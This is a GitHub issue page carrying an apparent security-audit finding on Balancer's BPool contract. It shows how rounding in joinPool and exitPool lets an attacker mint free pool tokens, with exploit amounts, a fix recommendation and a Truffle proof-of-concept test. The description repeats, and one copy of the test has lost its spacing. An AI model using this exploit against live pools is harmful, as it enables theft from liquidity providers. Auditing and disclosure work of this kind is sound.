You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Due to the rounding of these operations, an attacker can find an amount of poolAmountOut that will be greater than poolAmountIn, while leading to the same amount of asset tokens transferred.
As a result, an attacker can generate free pool tokens by calling consecutively joinPool and exitPool
An Echidna property and a Manticore script are provided below.
Exploit Scenario
EXIT_FEE is equal 0;
Initial_balance: 4294983682
Initial pool supply: 2305843009213693953
The user calls joinPool to generate 268435457 pool tokens, and pay 1 wei of the asset
The user calls exitPool to burn 268434456 pool tokens, and pay 1 wei of the asset
The user has all its assets, and 1001 free pool tokens
A Truffle test showing this scenario is provided below
Recommendation
This issue requires some code change to be fixed. Trail of Bits is still investigating mitigations.
One solution could be to compute the dust in joinPool, and revert if it is above a threshold.
Long term, consider to use Echidna and Manticore to test the rounding effects.
Testcase
constBPool=artifacts.require('BPool');constBFactory=artifacts.require('BFactory');constTToken=artifacts.require('TToken');constTTokenFactory=artifacts.require('TTokenFactory');contract('BPool',async(accounts)=>{constadmin=accounts[0];constuser1=accounts[1];const{ toHex }=web3.utils;const{ toWei }=web3.utils;const{ fromWei }=web3.utils;constMAX=web3.utils.toTwosComplement(-1);lettokens;// token factory / registryletTUSDlettusd;letfactory;// BPool factoryletpool;// first pool w/ defaultsletPOOL;// pool address// If exit fee is 0. , BConst.sol must be updated/* const initial_balance = 1000000; // 10**6 const poolAmountOut = toWei('1000000000001', 'wei'); const poolAmountIn = toWei('1000000000000', 'wei'); const initial_pool_share_supply = toWei('1000000000000000001', 'wei'); */// If exit fee is BONE / 10000constinitial_balance=toWei('9007199254740992','wei');constpoolAmountOut=toWei('768','wei');constpoolAmountIn=toWei('512','wei');constinitial_pool_share_supply=toWei('9223372036854775808','wei');constuser_token_supply=toWei('100','ether');before(async()=>{tokens=awaitTTokenFactory.deployed();factory=awaitBFactory.deployed();POOL=awaitfactory.newBPool.call();awaitfactory.newBPool();pool=awaitBPool.at(POOL);awaittokens.build(toHex('TUSD'),toHex('TUSD'),6);TUSD=awaittokens.get.call(toHex('TUSD'));tusd=awaitTToken.at(TUSD);// Admin balancesawaittusd.mint(admin,initial_balance);awaittusd.mint(user1,user_token_supply);});describe('Test free money',()=>{it('Admin approves tokens',async()=>{awaittusd.approve(POOL,MAX,{from: admin});awaittusd.approve(POOL,MAX,{from: user1});});it('Admin binds tokens',async()=>{awaitpool.bind(TUSD,initial_balance,toWei('1'));});it('Admin set the pool public',async()=>{awaitpool.finalize(initial_pool_share_supply);});it('User1 joins pool',async()=>{constuserTusdBalanceBeforeJoin=awaittusd.balanceOf(user1);assert.equal(user_token_supply,fromWei(userTusdBalanceBeforeJoin,'wei'));awaitpool.joinPool(poolAmountOut,[MAX],{from: user1});awaitpool.exitPool(poolAmountIn,[0],{from: user1});// User has all its TUSD tokensconstuserTusdBalance=awaittusd.balanceOf(user1);assert.equal(user_token_supply,fromWei(userTusdBalance,'wei'));// User should not have any pool shareconstuserPoolBalance=awaitpool.balanceOf(user1);assert.equal(0,fromWei(userPoolBalance,'wei'));// });});});
The text was updated successfully, but these errors were encountered:
Severity: Undetermined
Difficulty: Medium
Description
Due to rounding issues when deposing and withdrawing an asset, it is possible for an attacker to generate free pool tokens.
When a user asks for
poolAmountOut
pool tokens throughjoinPool
he has to payasset.balanceOf(this) * (poolAmountOut / poolTotal)
tokens.https://github.com/balancer-labs/balancer-core/blob/942a51e202cc5bf9158bad77162bc72aa0a8afaf/contracts/BPool.sol#L368-L382
When a user exits a pool, he pays
poolAmountIn
pool tokens he receivesasset.balanceOf(this) * (poolAmountIn / poolTotal)
https://github.com/balancer-labs/balancer-core/blob/942a51e202cc5bf9158bad77162bc72aa0a8afaf/contracts/BPool.sol#L392-L412
Due to the rounding of these operations, an attacker can find an amount of
poolAmountOut
that will be greater thanpoolAmountIn
, while leading to the same amount of asset tokens transferred.As a result, an attacker can generate free pool tokens by calling consecutively
joinPool
andexitPool
An Echidna property and a Manticore script are provided below.
Exploit Scenario
joinPool
to generate 268435457 pool tokens, and pay 1 wei of the assetexitPool
to burn 268434456 pool tokens, and pay 1 wei of the assetA Truffle test showing this scenario is provided below
Recommendation
This issue requires some code change to be fixed. Trail of Bits is still investigating mitigations.
One solution could be to compute the dust in
joinPool
, and revert if it is above a threshold.Long term, consider to use Echidna and Manticore to test the rounding effects.
Testcase
The text was updated successfully, but these errors were encountered: